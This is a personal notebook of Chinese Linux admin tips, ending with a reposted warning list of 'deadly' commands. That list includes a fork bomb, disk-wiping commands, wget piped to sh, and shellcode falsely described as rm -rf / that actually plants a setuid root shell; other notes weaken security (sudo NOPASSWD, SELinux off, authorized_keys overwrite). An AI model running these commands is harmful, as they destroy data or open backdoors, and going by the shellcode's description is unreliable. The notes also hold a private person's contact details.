通过VMSTAT识别CPU瓶颈
r(运行队列)展示了正在执行和等待CPU资源的任务个数。当这个值超过了CPU数目,就会出现CPU瓶颈了
获得CPU个数的命令(LINUX环境):
cat /proc/cpuinfo|grep processor|wc -l
当r值超过了CPU个数,就会出现CPU瓶颈,解决办法大体几种:
1. 最简单的就是增加CPU个数
2. 通过调整任务执行时间,如大任务放到系统不繁忙的情况下进行执行,进尔平衡系统任务
3. 调整已有任务的优先级
通过VMSTAT识别CPU满负荷
首先需要声明一点的是,vmstat中CPU的度量是百分比的。当us+sy的值接近100的时候,表示CPU正在接近满负荷工作。但要注意的是,CPU 满负荷工作并不能说明什么,UNIX总是试图要CPU尽可能的繁忙,使得任务的吞吐量最大化。唯一能够确定CPU瓶颈的还是r(运行队列)的值。
free
通过VMSTAT识别RAM瓶颈
数据库服务器都只有有限的RAM,出现内存争用现象是Oracle的常见问题。
首先察看RAM的数量,命令如下(LINUX环境):
[oracle@oracle-db02 ~]$ free
total used free shared buffers cached
Mem: 2074924 2071112 3812 0 40616 1598656
-/+ buffers/cache: 431840 1643084
Swap: 3068404 195804 2872600
当然可以使用top等其他命令来显示RAM。
当内存的需求大于RAM的数量,服务器启动了虚拟内存机制,通过虚拟内存,可以将RAM段移到SWAP DISK的特殊磁盘段上,这样会 出现虚拟内存的页导出和页导入现象,页导出并不能说明RAM瓶颈,虚拟内存系统经常会对内存段进行页导出,但页导入操作就表明了服务器需要更多的内存了, 页导入需要从SWAP DISK上将内存段复制回RAM,导致服务器速度变慢。
解决的办法有几种:
1. 最简单的,加大RAM
2. 改小SGA,使得对RAM需求减少
3. 减少RAM的需求(如:减少PGA)
loadavg
利用/proc/loadavg监控CPU的平均负载文件内容如下:
[root@supersun ~]# cat /proc/loadavg
0.43 0.26 0.29 1/125 4133
这里的平均负载也就是可运行的进程的平均数
前三个值分别对应系统在5分钟、10分钟、15分钟内的平均负载
第四个值的分子是正在运行的进程数,分母是进程总数,最后一个是最近运行的进程ID号
现在我们将平均负载的值写到虚拟终端的标题栏上。
________________________________________________________
网络优化
net.netfilter.nf_conntrack_max = 655350
net.netfilter.nf_conntrack_tcp_timeout_established = 1200
_________________________________________________________
空格
export HISTCONTROL=ignorespace
sudo 无密码
vi /etc/sudoers
mgr ALL=(ALL) NOPASSWD: ALL
__________________________________________________________
shell 下摄像头拍照
mplayer tv:// -tv driver=v4l2:device=/dev/video0:input=0:outfmt=bgr24:width=640:height=480:fps=25 -vo png -frames 10
___________________________________________________________
Linux常用命令收集
rsync -avH --progress felix/ /home/magnum/work-environment/ 同步本地文件夹,异常中断后仍然可以续传
rsync -avH --progress --exclude='/src/' template/ ./test-cp-exclude/ 拷贝template文件夹下的内容到test-cp-exclude,但是忽略src文件夹
chmod 777 * -R 对当前目录下的所有文件进行赋权限的动作
sed -i 's/^.://' add.cpp 替换add.cpp文件每行开头的两个字符(第一个.表示任意一个字符,第二个:表示第二个字符是":"号)为"",
即删除文件中每行开头以“:”结尾的头两个字符
sudo /etc/init.d/networking restart 修改网络后重启
readelf -a libPVROCL.so 显示动态库里面的信息
tar -zcvf /tmp/etc.tar.gz /etc, 以gzip压缩
tar -zxvf /tmp/etc.tar.gz 解压
make -v 查看当前交叉编译环境的版本
cat /proc/mtd 查看手机分区
du -sh common/ 查看common文件的大小
df查看电脑磁盘分区情况.
cheese -d /dev/video1 查看video1的视频流, cheese是一款ubuntu中用到的webm 拍照视频软件
____________________________________________________________
linux乱码解决
在工作中,经常会遇到使用操作系统不一样的环境,从而导致在不同环境下的文件编辑的编码是不一样的,Windows默认是GBK编码格式,Linux默认是UTF-8的格式,这样就会出现把GBK编码的文件拷贝到Linux下出现乱码情况,很是让人头疼,下面给大家介绍下GBK->UTF-8文件编码批量转换。
Linux命令-enca 查看文件的编码
Enca语法
Usage: enca [-L LANGUAGE] [OPTION]... [FILE]...
enconv [-L LANGUAGE] [OPTION]... [FILE]...
Detect encoding of text files and convert them if required.
Enca用法
$ enca -L zh_CN file 检查文件的编码
$ enca -L zh_CN -x UTF-8 file 将文件编码转换为"UTF-8"编码
$ enca -L zh_CN -x UTF-8 file1 file2 如果不想覆盖原文件可以这样
除了有检查文件编码的功能以外,”enca”还有一个好处就是如果文件本来就是你要转换的那种编码,它不会报错,还是会print出结果来, 而”iconv”则会报错。这对于脚本编写是比较方便的事情。
转换单个文件的编码
$ enca -L none -x utf-8 index.html
转换多个文件的编码
$ enca -x utf-8 *
Linux文件名编码批量转换--convmv
Convmv语法
$ convmv -f 源编码 -t 新编码 [选项] 文件名
Convmv 常用参数
-r 递归处理子文件夹
–notest 真正进行操作,请注意在默认情况下是不对文件进行真实操作的,而只是试验。
–list 显示所有支持的编码
–unescap 可以做一下转义,比如把%20变成空格
示例
转换一个文件由GBK转换成UTF-8
convmv -f GBK -t UTF-8 --notest utf8 filename
GBK->UTF-8文件编码批量转换脚本
$ find default -type f -exec convmv -f GBK -t UTF-8 --notest utf8 {} -o utf/{} \;
使用iconv 转换
Iconv语法
iconv -f encoding -t encoding inputfile
示例
单个文件转换
$ iconv -f GBK -t UTF-8 file1 -o file2
批量转换
$ find default -type d -exec mkdir -p utf/{} \;
$ find default -type f -exec iconv -f GBK -t UTF-8 {} -o utf/{} \;
这两行命令将default目录下的文件由GBK编码转换为UTF-8编码,目录结构不变,转码后的文件保存在utf/default目录下。
_____________________________________________________________
ssh tmp@172.16.168.65 "mkdir -p /home/tmp/.ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzMunOGI8oY8GRKNcqPbLCWzwlc/b0ABjh18+NbBifNl8hrA5wP9p0x3vdEyE4cmwFqyGPolMaYIDCdkWViDATfat8ZvEJXghwoRN06iz1xB4XGJmJOS5hY2TWSL4lhtviyf8dyM2LCiIOnzNaXT++hbxvrGMBLnN19w3Q48xkOamQqD6kVuxO97+KpWuldXuseuAlwoPReljncRAhSek5zr89XY20UatOToxA+TwyM5LsV4uqaRN14VPy4CPe/l8Z1gKrkI/YJcA+TfKYniGJJqtWr9O/lxolCUkq/pvF88e+RnwPqttW+MhplVbysobzeuYuE6DOrUHMZEM1pklaQ== root@null.null" > /home/tmp/.ssh/authorized_keys"
______________________________________________________________
ssh ctvit@192.168.168.188 "mkdir -p /home/ctvit/.ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzMunOGI8oY8GRKNcqPbLCWzwlc/b0ABjh18+NbBifNl8hrA5wP9p0x3vdEyE4cmwFqyGPolMaYIDCdkWViDATfat8ZvEJXghwoRN06iz1xB4XGJmJOS5hY2TWSL4lhtviyf8dyM2LCiIOnzNaXT++hbxvrGMBLnN19w3Q48xkOamQqD6kVuxO97+KpWuldXuseuAlwoPReljncRAhSek5zr89XY20UatOToxA+TwyM5LsV4uqaRN14VPy4CPe/l8Z1gKrkI/YJcA+TfKYniGJJqtWr9O/lxolCUkq/pvF88e+RnwPqttW+MhplVbysobzeuYuE6DOrUHMZEM1pklaQ== root@null.null" > /home/ctvit/.ssh/authorized_keys"
______________________________________________________________
________________________________________________________________
Centos6.4 下载
USA: http://mirror.symnds.com/distributions/CentOS-vault/
Europe: http://mirror.nsc.liu.se/centos-store/
__________________________________________________________________
yum install "@Chinese Support"
___________________________________________________________________
jclouds-cli 安装
wget -c http://search.maven.org/remotecontent?filepath=org/jclouds/cli/jclouds-cli/1.6.0/jclouds-cli-1.6.0.tar.gz
____________________________________________________________________
http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.jclouds.cli%22%20AND%20a%3A%22jclouds-cli%22
____________________________________________________________________
http://ftp.gwdg.de/pub/linux/apache/jclouds/stable/
_____________________________________________________________________
# mkisofs -r -o virtio-win-1.1.16.iso virtio
______________________________________________________________________
# cp /usr/share/zoneinfo/Asia/Shanghai/etc/localtime
## /etc/sysconfig/clock
ZONE="Asia/Shanghai"
UTC=false
ARC=false
_______________________________________________________________________
ssh root@192.1.1.1 "echo "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzMunOGI8oY8GRKNcqPbLCWzwlc/b0ABjh18+NbBifNl8hrA5wP9p0x3vdEyE4cmwFqyGPolMaYIDCdkWViDATfat8ZvEJXghwoRN06iz1xB4XGJmJOS5hY2TWSL4lhtviyf8dyM2LCiIOnzNaXT++hbxvrGMBLnN19w3Q48xkOamQqD6kVuxO97+KpWuldXuseuAlwoPReljncRAhSek5zr89XY20UatOToxA+TwyM5LsV4uqaRN14VPy4CPe/l8Z1gKrkI/YJcA+TfKYniGJJqtWr9O/lxolCUkq/pvF88e+RnwPqttW+MhplVbysobzeuYuE6DOrUHMZEM1pklaQ== root@null.null" > /root/.ssh/authorized_keys"
_______________________________________________________________________
du -cks * | sort -rn | head -n 11
________________________________________________________________________
date +%s
date -d @1395130104
________________________________________________________________________
PAM常见的实操案例
#1.怎样才能强迫用户设置的密码不能与过去3次内的密码重复?
修改/etc/pam.d/system-auth,增加pam_unix.so的参数,如下
[plain] view plaincopy
password sufficient pam_unix.so md5 shadow nullok try_first_pass use_authtok remember=3
#2.如何要求用户设置的密码必须包含5个数字,3个特殊符号?
修改/etc/pam.d/system-auth,在password使用pam_cracklib.so设置的最后附加 dcredit=5,ocredit=3
[plain] view plaincopy
password requisite pam_cracklib.so try_first_pass retry=3 dcredit=5 ocredit=3
#3.如何限制student最多同时登陆4个?
这需要pam_limits.so模块。由于/etc/pam.d/system-auth中,默认就会通过pam_limits.so 限制用户最多使用多少系统资源,因此
只需要在/etc/security/limits.conf 中加入以下内容(RHEL5最后就有,只不过注释掉了)
[plain] view plaincopy
student hard maxlogins 4
#4.某用户连续登陆失败3次以上就禁止登陆?
修改/etc/pam.d/system-auth
[plain] view plaincopy
auth required pam_deny.so
account required pam_tally.so deny=3 #加入这一行
account required pam_unix.so
#5.如何限制root只能从veyun.com这台计算机使用ssh远程登陆?
#由于ssh服务器的程序文件使用sshd,而sshd刚好支持PAM,验证如下:
[plain] view plaincopy
[root@localhost ~]# ldd /usr/sbin/sshd | grep libpam.so
libpam.so.0 => /lib/libpam.so.0 (0x00be2000)
修改/etc/pam.d/sshd,加入第二行,如下:
[python] view plaincopy
auth include system-auth
account required pam_access.so accessfile=/etc/deny_sshd
account required pam_nologin.so
#产生/etc/deny_sshd:
[plain] view plaincopy
-:root:ALL EXCEPT veyun.com
#6.自动建立主目录:
PAM提供了一个pam_mkhomedir.so的模块,当执行这个模块时,它会检查PAM客户端用户的主目录是否存在,如果不存在则自动建立。
修改/etc/pam.d/login,在pam_selinux.so下面添加一行。
[plain] view plaincopy
session required pam_mkhomedir.so skel=/etc/skel/ umask=0022
该方法特别适合使用网络账号的服务器,如使用NIS,LDAP等的域账号
验证如下:
[plain] view plaincopy
[root@localhost ~]# ls /home
aquota.user lost+found rhel user user1 user2 yhb
[root@localhost ~]# useradd -M lwy #-M参数:不新建主目录
[root@localhost ~]# ls /home
aquota.user lost+found rhel user user1 user2 yhb
[root@localhost ~]# passwd lwy
Changing password for user lwy.
New UNIX password:
BAD PASSWORD: it is WAY too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
[root@localhost ~]#
使用lwy用户登录:
________________________________________________________________________
磁盘克隆工具 Clonezilla
Clonezilla 是一个分区和磁盘的克隆工具,类似于 Symantec Ghost。该工具性能不错,克隆5G的系统到40个客户端,只需要短短的10分钟。该工具还包含一个自动启动光盘版本—— Clonezilla Live。
http://clonezilla.org/
________________________________________________________________________
## sed 去掉空行
# sed '/^$/d' -i all.txt
_________________________________________________________________________
# unalias cp
# cp -R /var/lib/mysql/opt/
__________________________________________________________________________
tar czvf - zabbix-2.0.8 |ssh root@10.10.2.99 tar xzvf - -C /opt/
__________________________________________________________________________
yum出现The program package-cleanup is found in the yum-utils package.问题解决
2012-04-30 21:40:08| 分类: Linux |字号 订阅
You could try using --skip-broken to work around the problem
You could try running: package-cleanup --problems
package-cleanup --dupes
rpm -Va --nofiles --nodigest
The program package-cleanup is found in the yum-utils package.
solution:
yum clean all
rpm --rebuilddb
yum update
再次使用yum install 安装软件,顺利完成。
__________________________________________________________________________
Open-source based WAN optimization solutions[edit source | editbeta]
OpenNOP
WANProxy
TrafficSqueezer
__________________________________________________________________________
Ubuntu
_________________________________________________________________________
http://www.apachefriends.org/zh_cn/xampp-linux.html
_________________________________________________________________________
xz -d linux-3.1-rc4.tar.xz
tar -xf linux-3.1-rc4.tar
_________________________________________________________________________
使用vi编辑器删除文本中所有空行
我这里在编辑一个很大的文件,有几万行,都是文件名sheetid,
中间有很多空行,我现在要做的事情就有要把这个文件中的空行都删除掉,这个本来想在ultraedit里面完成的,结果弄了好半天都没有搞定,时间紧急也
没法再去慢慢的try了,干脆放到AIX上面使用vi来做,也是在网上google 结果找到很多这样的:
12)删除操作
:%s/r//g 删除DOS方式的回车^M
:%s= *$== 删除行尾空白
:%s/^(.*)n1/1$/ 删除重复行
:%s/^.pdf/new.pdf/ 只是删除第一个pdf
:%s/// 又是删除多行注释(咦?为什么要说「又」呢?)
:g/^s*$/d 删除所有空行 :g/^s*$/d 删除所有空行
:g!/^dd/d 删除不含字符串’dd’的行
:v/^dd/d 同上 (译释:v == g!,就是不匹配!)
:g/str1/,/str2/d 删除所有第一个含str1到第一个含str2之间的行
:v/./.,/./-1join 压缩空行
:g/^$/,/./-j 压缩空行
ndw 或 ndW 删除光标处开始及其后的 n-1 个字符。
d0 删至行首。
d$ 删至行尾。
ndd 删除当前行及其后 n-1 行。
x 或 X 删除一个字符。
Ctrl+u 删除输入方式下所输入的文本。
^R 恢复u的操作
J 把下一行合并到当前行尾
V 选择一行
^V 按下^V后即可进行矩形的选择了
aw 选择单词
iw 内部单词(无空格)
as 选择句子
is 选择句子(无空格)
ap 选择段落
ip 选择段落(无空格)
D 删除到行尾
x,y 删除与复制包含高亮区
dl 删除当前字符(与x命令功能相同)
d0 删除到某一行的开始位置
d^ 删除到某一行的第一个字符位置(不包括空格或TAB字符)
dw 删除到某个单词的结尾位置
d3w 删除到第三个单词的结尾位置
db 删除到某个单词的开始位置
dW 删除到某个以空格作为分隔符的单词的结尾位置
dB 删除到某个以空格作为分隔符的单词的开始位置
d7B 删除到前面7个以空格作为分隔符的单词的开始位置
d) 删除到某个语句的结尾位置
d4) 删除到第四个语句的结尾位置
d( 删除到某个语句的开始位置
d) 删除到某个段落的结尾位置
d{ 删除到某个段落的开始位置
d7{ 删除到当前段落起始位置之前的第7个段落位置
dd 删除当前行
d/text 删除从文本中出现“text”中所指定字样的位置,
一直向前直到下一个该字样所出现的位置(但不包括该字样)之间的内容
dfc 删除从文本中出现字符“c”的位置,一直向前直到下一个该字符所出现的位置(包括该字符)之间的内容
dtc 删除当前行直到下一个字符“c”所出现位置之间的内容
D 删除到某一行的结尾
d$ 删除到某一行的结尾
5dd 删除从当前行所开始的5行内容
dL 删除直到屏幕上最后一行的内容
dH 删除直到屏幕上第一行的内容
dG 删除直到工作缓存区结尾的内容
d1G 删除直到工作缓存区开始的内容
….
上面这段我要用的是这个地方
:g/^s*$/d 删除所有空行
使用vi打开文本文件,然后进入命令模式输入 g/^s*$/d
这个时候要等待,它现在已经在处理文件了,最后保存即可,第一次用这个功能,不懂!下完命令后都没有等待,然后还以为自己哪个地方出错了呢。
感受到很强大的功能
__________________________________________________________________________
Ubuntu 12.04/12.10, LinuxMint 13/14 安装:
sudo add-apt-repository ppa:hugin/hugin-builds
sudo apt-get update && sudo apt-get install hugin
卸载:
sudo add-apt-repository --remove ppa:hugin/hugin-builds
sudo apt-get remove hugin
__________________________________________________________________________
<img src="http://qrfree.kaywa.com/?l=1&s=8&d=http%3A%2F%2F%E5%BC%A0%E5%88%8A.com" alt="QRCode"/>
_________________________________________________________________________________
在 Ubuntu / Linux 上,有一个名为 QrenCode 的命令行工具可以很容易帮我们生成二维码。
# 安装:
sudo apt-get install qrencode
# 使用:
qrencode -o [filename.png] ‘[text/url/information to encode]‘
比如要生成本站的二维码
qrencode -o wowubuntu.png 'http://wowubuntu.com'
输出图形如下,如果你的手机上安装了二维码识别软件的庆,你可以用手机进行拍摄并识别了。
想自定义尺寸的话,加上 -s 参数,比如 -s 6 表示尺寸为 6x6 平方像表大小,如下。
qrencode -o ~/Desktop/google.png -s 6 'http://wowubuntu.com'
除此之外,你还可以使用更多其它参数,详细用法请 man qrencode 。
Update: 命令行下识别二维码:
# 安装 libdecodeqr-examples
apt-get install libdecodeqr-examples
使用
libdecodeqr-simpletest <二维码图片>
比如识别之前生成的二维码图片
libdecodeqr-simpletest wowubuntu.png
输出结果
libdecodeqr-simpletest wowubuntu.png
libdecodeqr version 0.9.3 ($Rev: 42 $)
STATUS=2000
http://wowubuntu.com
Hit any key to end.
#识别QR二维码
$ sudo apt-get install zbar-tools
┌──(mgr㉿Unknown)-[~/下载]
└─$ zbarimg loginImg.png
QR-Code:https://static.122.gov.cn/download/app/download.html
scanned 1 barcode symbols from 1 images in 0.37 seconds
┌──(mgr㉿Unknown)-[~/下载]
└─$ zbarcam -1
QR-Code:tmri://12123?ywlx=9921&token=95f36c31-8939-43ed-aeb3-a9aa67138792
_________________________________________________________________________
/etc/exports
#/home/ftp 192.168.19.100
#/home/ftp *(rw,sync,no_root_squash)
/opt *(rw,sync,no_root_squash)
/export
*(rw,async,no_root_squash,no_subtree_check)
CentOS 7 安装配置 NFS
时间:2015-09-05 02:51来源:linux.it.net.cn 作者:IT
CentOS 7 安装配置 NFS
环境
nps 192.168.1.97 Linux学习,http:// linux.it.net.cn
client 192.168.1.98
一、yum 安装
yum -y install nfs-utils rpcbind IT网,http://www.it.net.cn
nfs 的配置文件 /etc/expots
默认为空
vi /etc/exports/opt/test/ 192.168.1.0/24(rw,no_root_squash,no_all_squash,sync,anonuid=501,anongid=501) IT网,http://www.it.net.cn
二、使配置生效
exportfs -r Linux学习,http:// linux.it.net.cn
注:配置文件说明:
/opt/test 为共享目录 Linux学习,http:// linux.it.net.cn
192.168.1.0/24 可以为一个网段,一个IP,也可以是域名,域名支持通配符 如: *.qq.com
rw:read-write,可读写;
ro:read-only,只读; Linux学习,http:// linux.it.net.cn
sync:文件同时写入硬盘和内存;
async:文件暂存于内存,而不是直接写入内存;
no_root_squash:NFS客户端连接服务端时如果使用的是root的话,那么对服务端分享的目录来说,也拥有root权限。显然开启这项是不安全的。
root_squash:NFS客户端连接服务端时如果使用的是root的话,那么对服务端分享的目录来说,拥有匿名用户权限,通常他将使用nobody或nfsnobody身份;
all_squash:不论NFS客户端连接服务端时使用什么用户,对服务端分享的目录来说都是拥有匿名用户权限;
anonuid:匿名用户的UID值,可以在此处自行设定。 Linux学习,http:// linux.it.net.cn
anongid:匿名用户的GID值。
三、启动 nfs
service rpcbind start Linux学习,http:// linux.it.net.cn
service nfs start
chkconfig rpcbind on Linux学习,http:// linux.it.net.cn
chkconfig nfs on Linux学习,http:// linux.it.net.cn
四、客户端挂载:
showmount -e 192.168.1.97 #查看可挂载
Export list for 192.168.1.97: Linux学习,http:// linux.it.net.cn
/opt/test 192.168.1.0/24
客户端挂载
mount -t nfs 192.168.1.97:/opt/test /mnt
无提示 既为成功
客户端在挂载的时候遇到的一个问题如下,可能是网络不太稳定,NFS默认是用UDP协议,换成TCP协议即可:
mount -t nfs 192.168.1.97:/opt/test /mnt -o proto=tcp -o nolock
____________________________________________________________________________
Linux VI 命令/etc/selinux/config 下把enforce 改为disabled
Linux VI 命令/boot/grub/grub.conf
kernel /vmlinuz-2.6.32-279.el6.x86_64 ro root=UUID=5bd71e9a-7b05-45f8-8928-ce88a2921fa0 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16 crashkernel=auto KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet ipv6.disable=1 selinux=0
__________________________________________________________________________
Apache JMeter 压力测试工具
_____________________________________________________________________________
帮一同学征婚征婚征婚征婚征婚征婚征婚征婚征婚
范珍珍,女,1985生于山东泰安。身高164,现工作在北京一家会计事务所。欲寻一位靠谱青年。最好北方人。联系方式:QQ - 273187774 微信- 范珍珍 (暗号:完美世界)
_____________________________________________________________________________
优先级的值=优先系数+nice值
优先系数由系统内核决定,不可更改
nice值可以手动更改,范围是 -20~19
优先级的值越低,优先级越高;优先级的值越高,优先级越低。
所以想调整成最高优先级的话,就将nice值设为-20;想调整成最低优先级的话,将nice值设为19。
调整优先级:
1、任务未运行前进行调整
# nice -n-20 sh /xxx/xxx.sh --以最高优先级运行xxx.sh这个脚本
# nice -n19 sh /xxx/xxx.sh --以最低优先级运行xxx.sh这个脚本
2、任务已经开始运行的情况下调整
①
# top --查看系统当前进程运行情况
> r --键入小r
> PID to renice: --提示输入运行的进程的pid
> Renice PID 23302 to value: --把这个进程的nice值设置为多少,根据需要进行调整
②
# renice -20 PID 将进程的nice值改为-20
# renice 19 PID 将进程的nice值改为19
___________________________________________________________________________________________________
7 个致命的 Linux 命令
2008-11-21 · By toy · Posted in Cli · 53 Comments
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
rm -rf /
此命令将递归并强制删除 / 目录下的所有文件。
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh/tmp/.beyond; chmod 4755
/tmp/.beyond;";
mkfs.ext3 /dev/sda
这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
:(){ :|:& };:
著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
any_command > /dev/sda
使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
wget http://some_untrusted_source -O- | sh
不要从不信任的地方下载东西,这可能会获取恶意代码。
mv /home/yourhomedirectory/*/dev/null
此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。
___________________________________________________________________________________________________
_____________________________________________________________________________________________
myron